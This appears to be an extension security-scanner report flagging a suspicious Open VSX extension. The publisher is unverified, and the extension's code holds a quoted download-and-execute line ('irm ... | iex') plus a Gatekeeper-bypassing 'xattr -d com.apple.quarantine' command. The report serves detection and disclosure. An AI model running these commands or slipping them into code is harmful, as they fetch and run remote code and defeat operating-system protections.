Security Findings
6Publisher cannot be tied to the declared repo
SuspiciousLineageThe declared source repository could not be tied to this publisher: the registry namespace does not match the repo owner, the namespace is not verified, and no Marketplace twin corroborates it. Repo lineage is not shown, because it would describe a repository this publisher may not own.
Dynamic exec of remote content (VSX)
SuspiciousScannerDownload-and-execute in out/extension.js: irm ${urls.windows} | iex
out/extension.js
Dangerous security bypass flags2×
SuspiciousScannerGatekeeper bypass in content: xattr -d com.apple.quarantine
Bypass flag in content: --trust